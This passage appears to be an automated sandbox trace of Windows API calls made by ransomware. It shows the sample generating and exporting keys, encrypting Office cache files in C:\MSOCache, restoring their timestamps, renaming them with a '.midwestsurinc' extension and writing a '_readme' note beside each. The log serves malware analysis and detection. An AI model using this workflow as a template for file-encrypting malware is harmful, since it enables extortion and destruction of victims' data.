returned 0x10451d8 [0083.960] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xecdfa490, dwHighDateTime=0x1d301be)) returned 1 [0083.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0083.960] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0083.960] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0083.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0083.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0083.961] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0083.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0083.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0083.961] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0083.961] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0083.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x780) returned 0xf870d0 [0083.962] ReadFile (in: hFile=0x2e8, lpBuffer=0xf870d0, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf870d0*, lpNumberOfBytesRead=0x174fb28*=0x75e, lpOverlapped=0x0) returned 1 [0083.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x780) returned 0x17f2098 [0083.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0083.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x780) returned 0xf870d0 [0083.963] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0083.964] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f2098) returned 1 [0083.964] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb80) returned 0x184fc80 [0083.964] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x184fc80*, pdwDataLen=0x174fb24*=0x75e, dwBufLen=0xb5e | out: pbData=0x184fc80*, pdwDataLen=0x174fb24*=0x760) returned 1 [0083.964] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184fc80) returned 1 [0083.964] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0083.964] WriteFile (in: hFile=0x2e8, lpBuffer=0xf870d0*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf870d0*, lpNumberOfBytesWritten=0x174fb28*=0x75e, lpOverlapped=0x0) returned 1 [0083.964] FlushFileBuffers (hFile=0x2e8) returned 1 [0083.967] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0083.967] NtClose (Handle=0x2e8) returned 0x0 [0083.968] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0083.968] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0083.969] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0083.969] GetLastError () returned 0x2 [0083.969] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86030, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0083.969] GetLastError () returned 0x2 [0083.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0083.969] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0083.969] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0083.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0083.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x7) returned 0xf7d278 [0083.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0083.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0083.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0083.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0083.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0083.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0083.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0083.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0083.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0083.971] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e5, lpOverlapped=0x0) returned 1 [0083.972] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x51647d50, dwHighDateTime=0x1d5dff7)) returned 1 [0083.972] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0083.972] NtClose (Handle=0x2e8) returned 0x0 [0083.972] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0083.973] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0083.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0083.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0083.973] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0083.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0083.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0083.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0083.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0083.975] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0083.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0083.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0083.976] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0083.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0083.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0083.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0083.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0083.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0083.976] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0083.976] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0083.976] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0083.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0083.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0083.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0083.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0083.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0083.977] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc40b730, dwHighDateTime=0x1d301be)) returned 1 [0083.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0083.977] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0083.977] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0083.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0083.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0083.977] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0083.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0083.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0083.978] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0083.978] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0083.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x265c00) returned 0x1f50020 [0083.978] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0x265c00, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0x265c00, lpOverlapped=0x0) returned 1 [0084.055] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x265c00) returned 0x21c0020 [0084.080] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0084.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x265c00) returned 0x1f50020 [0084.091] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0084.115] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0084.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x266000) returned 0x21c0020 [0084.151] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x265c00, dwBufLen=0x266000 | out: pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x265c10) returned 1 [0084.171] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x265c40) returned 0x2430020 [0084.212] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0084.223] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0084.234] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0084.234] WriteFile (in: hFile=0x2e8, lpBuffer=0x2430020*, nNumberOfBytesToWrite=0x265c00, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2430020*, lpNumberOfBytesWritten=0x174fb28*=0x265c00, lpOverlapped=0x0) returned 1 [0084.261] FlushFileBuffers (hFile=0x2e8) returned 1 [0084.272] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0084.273] NtClose (Handle=0x2e8) returned 0x0 [0084.317] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.midwestsurinc")) returned 1 [0084.317] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0084.317] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0084.318] GetLastError () returned 0x2 [0084.318] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86050, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0084.318] GetLastError () returned 0x2 [0084.318] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0084.318] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0084.318] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0084.319] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0084.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0084.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0084.320] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184c620) returned 1 [0084.320] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0084.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0084.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0084.320] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0084.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0084.320] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0084.320] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0084.320] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0084.321] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x519b3cf0, dwHighDateTime=0x1d5dff7)) returned 1 [0084.321] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0084.321] NtClose (Handle=0x2e8) returned 0x0 [0084.321] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0084.322] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0084.322] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0084.322] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0084.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0084.333] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0084.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0084.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0084.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0084.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0084.333] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0084.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0084.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0084.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0084.334] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0084.334] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0084.334] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0084.334] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0084.334] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0084.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0084.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0084.334] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0084.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0084.335] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0084.335] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0084.335] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 